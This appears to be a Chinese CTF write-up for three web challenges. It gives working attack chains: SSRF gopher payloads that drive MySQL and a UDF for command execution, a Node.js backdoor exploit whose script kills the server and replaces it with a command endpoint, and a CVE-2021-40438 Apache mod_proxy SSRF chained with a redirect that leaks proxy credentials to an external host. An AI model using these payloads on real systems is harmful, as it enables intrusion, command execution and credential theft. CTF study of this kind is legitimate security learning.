seo
探测
在测试功能的时候发现了很多接口

我们发现/api/ip.php接口存在ssrf

但是这个接口file协议被ban了

然后在下载词库那里发现可以任意文件下载

于是/etc/hosts探测内网

发现网段是172.73.23.21/24
于是为了发现主机我们访问/proc/net/arp

发现了100这台主机。
内网常见可探测的端口:21、22、23、80、3306、6379、8080 ,发现 172.73.23.100 开放着 3306 端口:

接下来重点是使用 SSRF 去攻击这个 MySQL 服务,配合本地的 tcpdump 抓取 MySQL 的流量:
gopher攻击mysql未授权
https://coomrade.github.io/2018/10/28/SSRF攻击MySQL/
通过上面base解码得到mysql版本。docker拉一个下来。并进入docker修改密码为空。
use mysql;UPDATE user SET Password = PASSWORD('') WHERE user = 'root';FLUSH PRIVILEGES;
docker run --name=mysql1 -it -p 3306:3306 -e MYSQL_ROOT_PASSWORD=root -d mysql:5.6.51

同时使用tcpdump抓包
tcpdump -i lo port 3306 -w mysql.pcapng

抓到的数据包保存原始数据

写个原始数据转gopher的脚本
import sysdef results(s):a=[s[i:i+2] for i in range(0,len(s),2)]return "curl gopher://127.0.0.1:3306/_%"+"%".join(a)if __name__=="__main__":s="""c300000185a2bf1900000001ff0000000000000000000000000000000000000000000000726f6f7400006d7973716c5f6e61746976655f70617373776f72640086045f706964053532343331095f706c6174666f726d067838365f3634035f6f73054c696e75780c5f636c69656e745f6e616d65086c69626d7973716c0b6f735f7375646f75736572067562756e7475076f735f7573657204726f6f740f5f636c69656e745f76657273696f6e06382e302e32370c70726f6772616d5f6e616d65056d7973716c210000000373656c65637420404076657273696f6e5f636f6d6d656e74206c696d69742031180000000373656c656374207379735f6576616c28276c73202f27290100000001"""s=s.replace('\n','')print(s)print(results(s))
打到环境里可以执行

然后使用UDF提权。
用这个写入https://www.sqlsec.com/tools/udf.html
mysql -uroot -h 127.0.0.1 -e "SELECT 0000000000001000000030000000000000000.....00000000000000000000002318000000000000c500000000000000000000000000000001000000000000000000000000000000 INTO DUMPFILE '/usr/lib/mysql/plugin/udf.so"
写入后创建自定义函数
mysql -uroot -h 127.0.0.1 -e "CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.so';"
创建好后执行
mysql -uroot -h 127.0.0.1 -e "select sys_eval('ls /');"

读取flag

https://www.sqlsec.com/2020/11/mysql.html#toc-heading-1
或者直接gopherus构造

Nothing
http://39.106.69.116:30001/source 可以获得源码
const express = require('express')const fs = require('fs')const exec = require('child_process').exec;const src = fs.readFileSync("app.js")const app = express()app.get('/', (req, res) => {if (!('ByteCTF' in req.query)) {res.end("Here is a backdoor,can you shell it and get the flag?")return}if (req.query.ByteCTF.length > 3000) {const byteCTF = JSON.stringify(req.query.ByteCTF)if (byteCTF.length > 1024) {res.end("too long.")return}try {const q = "{" + req.query.ByteCTF + "}"res.end("Got it!")} catch {if (req.query.backdoor) {exec(req.query.backdoor)res.send("exec complete,but nothing here")} else {res.end("Nothing here!")}}} else {res.end("too short.")return}})app.get('/source', (req, res) => {res.end(src)});app.listen(3000, () => {console.log(`listening at port 3000`)})

这里用了toString来报错
http://39.106.69.116:30001/?ByteCTF[length]=10000000000&ByteCTF[toString]&backdoor={}
这里的环境无回显,不出网。这里可以kill掉父进程node。自己起一个服务占用3000端口拿到回显(或者:用kill掉node 导致 http请求失败,来cut盲注flag,但是不稳定 [ cut -b 1 /flagfilename == x ] && pkill node)
const express = require('express')const fs = require('fs')const execSync = require('child_process').execSync;const app = express()app.get('/backdoor', (req, res) => { //防蹭车res.send("SUCCESS:"+execSync(req.query.flag).toString())res.end()})app.listen(3000, () => {console.log(`listening at port 3000`)})
import requestsimport base64remote_url = "http://39.106.69.116:30001/?ByteCTF[length]=4000&ByteCTF[toString][]=&backdoor="def encode(sth):result = ""for i in sth:result += "%%%02x" % ord(i)return result//url编码def execute_command(cmd):url = remote_url + encode(cmd)r = requests.get(url,proxies={"http":"http://localhost:8080"})return r.status_codeevil_js_b64 = Nonewith open("evil.js","rb") as file:evil_js_b64 = file.read()evil_js_b64 = base64.b64encode(evil_js_b64).decode()# while 1:# execute_command(f"pkill node;node -e \"`echo {evil_js_b64} | base64 -d`\"")print(encode("pkill node"))

proxy
在httpd.conf文件中可以看到代理配置
ServerName bytectfListen 8123<VirtualHost "*:8123">ProxyRequests On<Proxy "*">AuthType BasicAuthName "Only For Internal Use, Password Required"AuthUserFile password.fileAuthGroupFile group.fileRequire group usergroupRequire host web</Proxy></VirtualHost>Listen 80<VirtualHost "*:80">ProxyPass "/" "http://website/" disablereuse=On</VirtualHost>
8123为代理端口,80端口(也就是我们能访问的端口)的请求转发到website页面

内网internal部分有个app.py
from flask import Flask, request, render_templateimport requests, osPROXY_USER = os.getenv('CHALL_PROXY_USER')PROXY_PASS = os.getenv('CHALL_PROXY_PASS')PROXIES = {'http': f'http://{PROXY_USER}:{PROXY_PASS}@proxy:8123', 'https': f'http://{PROXY_USER}:{PROXY_PASS}@proxy:8123'}app = Flask(__name__)@app.route('/')def main():return render_template('index.html')@app.route('/fetch', methods=['POST'])def fetch():if not request.form['url']:return f'Please provide url'app.logger.info(request.form['url'])try:resp = requests.get(request.form['url'], timeout=5, proxies=PROXIES)except Exception as e:app.logger.error(f'Error: {e}')return 'Error'if resp.status_code == 200:return resp.textelse:app.logger.warning(f'Error: status {resp.status_code}')return 'Error'if __name__ == '__main__':app.run()
可以通过fetch路由发出代理请求
这个题的flag放在了代理的密码里

所以本题的大致解题思路梳理如下
通过SSRF访问到app.py的路由–>通过app.py发出一个向外的请求–>通过某种方式带出proxypass
解题
代理服务器为Apache 2.4.48
直接google开搜,可以找到apache mod_proxy SSRF,适用版本 <=2.4.48

https://www.leavesongs.com/PENETRATION/apache-mod-proxy-ssrf-cve-2021-40438.html
/?unix:<4096个以上a>|http://internal/
然后是Python requests<=2.25.1 的漏洞,Proxy-Authorization 用一个302跳转就能带出来:
这里推荐一个网站https://httpbingo.org/
POST /?unix:<4096个以上a>?|http://internal/fetch HTTP/1.1Host: webContent-Type: application/x-www-form-urlencodedurl=https://httpbingo.org/redirect-to?url=https://httpbingo.org/headers
注:如果是跳转到http网站,则Proxy-Authentication会在代理端被drop掉。但如果是跳到https网站,走的是CONNECT协议,代理无法解析,所以这个头在走代理的同时仍然会被保留。 走http,可见确实没有了Proxy-Authentication。
这里发http包的时候要注意加content-type
Content-Type: application/x-www-form-urlencoded

